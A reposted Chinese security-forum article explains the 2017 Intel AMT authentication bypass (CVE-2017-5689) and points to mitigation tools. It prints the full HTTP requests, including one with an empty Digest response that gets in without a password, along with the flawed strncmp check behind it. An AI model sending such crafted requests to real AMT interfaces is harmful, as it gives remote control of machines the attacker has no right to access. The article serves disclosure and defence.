首页
社区
课程
招聘
[转帖]Intel存在9年的漏洞利用方法简单
发表于: 2017-5-7 16:35 5177

[转帖]Intel存在9年的漏洞利用方法简单

2017-5-7 16:35
5177
转载公众号:malwarebenchmark

上周存在长达九年之久的Intel漏洞曝光!直白点儿说:自从2010年起,英特尔出售所有具有远超控制功能的芯片中含有一个严重的漏洞,可以让攻击者获得目标电脑的高级权限。本文将介绍该漏洞的成因和测试验证方法!

 

该漏洞主要存在于英特尔的主动管理技术(AMT),小企业技术(SBT),以及标准管理(ISM)平台当中。这些平台主要用于远程管理。该漏洞 (CVE-2017-5689) 可能允许攻击者远程访问业务 pc 或设备, 并获得对系统的完全控制。

 

Embedi 周五公布的这一缺陷的记录中说, 这个漏洞可能是程序员的错误,该漏洞可以使得访问开放端口16992/16993 的攻击者可以轻易绕过身份验证。换句话说, 攻击者可能没有凭据, 并且仍然能够使用英特尔 amt 功能。

 

使用 web 应用程序安全工具 (如Burp Suite), 的研究者能够通过拦截和操纵在它们之间发送的 http 数据包和在易受攻击的系统上本地运行的 amt web 服务器来确认此漏洞。(有检测方法哦~!)

 

可怕的是:即使主机电源关闭,但有电力连接线和网络连接线的情况下,amt 也提供了远程控制计算机系统的能力~!

 

受此漏洞影响的英特尔系统

 


Embedi 能够通过逆向手段找到 amt 固件漏洞, 也可以通过检查 amt web 服务器和远程客户端之间的通信检测到攻击。https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf)

 

钻这个安全漏洞的空子是比较容易滴:

 

首先:很多用户并不了解这东东,也难以及时修补该漏洞~!

 

AMT的远程管理工具包是intel的vPro套件的一部分,在固件层面运行,你使用的Windows、Linux或其他任何操作系统根本看不见它。代码在英特尔的管理引擎(Management Engine)上运行,这好比是你计算机中的一个小型计算机,全面控制硬件,可与网络端口直接联系,不管运行的是什么样的操作系统和应用程序,都可以控制设备。

 

AMT旨在让IT管理员可以远程登录进入到系统底层,那样他们可以重启崩溃的机器,修复和调整操作系统,安装新的操作系统,访问虚拟串行控制台,或者通过VNC获得全面的远程桌面访问。它简直就是上帝模式(god mode)

 

其次,利用该漏洞并不复杂~!

 

AMT是通过一种普通的Web接口经由网络来访问的:该服务侦听端口16992和端口16993。用浏览器访问该服务会弹出提示,要求输入密码,这个密码是使用标准的HTTP Digest验证技术来发送的:使用来自AMT固件的随机数(nonce)以及另外几个元数据,对用户和密码进行哈希处理(即加密)。

 

糟糕滴是:如果你发送空的响应,固件就会误以为这是有效的响应,让你长行直入。这意味着,发送空的HTTP Digest验证响应,就可以绕过密码核实机制。

 

在后台,你的浏览器通常会向AMT服务发送类似这样的内容,这包括哈希响应字符串,含有用户名、密码和服务器随机数:

 

GET /index.htm HTTP/1.1

Host: 192.168.1.2:16992

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.2:16992/logon.htm

Connection: keep-alive

Authorization: Digest username=»admin»,

realm=»Digest:048A0000000000000000000000000000»,

nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,

response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,

cnonce=»9c5beca4011eea5c»

 

如果使用代理或类似的工具Burp Suite可以哦,只要去掉响应哈希,改而发送:

 

GET /index.htm HTTP/1.1

Host: 127.0.0.1:16992

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Authorization: Digest username=»admin»,

realm=»Digest:048A0000000000000000000000000000»,

nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,

qop=auth, nc=00000001, cnonce=»60513ab58858482c»

 

英特尔的固件会让你进入,尽管你实际上根本没有密码:

 

HTTP/1.1 200 OK

Date: Thu, 4 May 2017 16:09:17 GMT

Server: AMT

Content-Type: text/html

Transfer-Encoding: chunked

Cache-Control: no cache

Expires: Thu, 26 Oct 1995 00:00:00 GMT

 

英特尔的固件逆向后会发现类似以下内容的C代码:

 

if(strncmp(computed_response, user_response, response_length))

deny_access();

 

这是在比较的两个字符串试图登录的那个人发送的验证响应(user_response)和服务要求的响应(computed_response)。如果两者相符,密码肯定对的,所以该函数返回零,代码继续授予访问权。如果两个字符串不一样,该函数返回值是非零,这意味着密码不对,所以拒绝访问

 

糟糕的是response_length是用user_response来计算的,所以如果提供的是空字符串,长度为零,没有字节被检查strncmp()返回零,表明验证成功。因而,空的响应字符串被认为有效而被放行。

 

S这里提醒重要机构务必尽快修补该漏洞。可以利用的资源包括:

 

第三方工具(https://github.com/bartblaze/Disable-Intel-AMT)可用来禁用Windows系统的AMT。

 

https://newsroom.intel.com/news/important-security-information-intel-manageability-firmware/)发布了关于该漏洞的另外一些信息,包括工具链接(该工具可以检查系统是不是高危系统)、支持联系人的相关信息以及减小威胁的应对措施列表。



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  admin   +1.00 2017/05/08
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//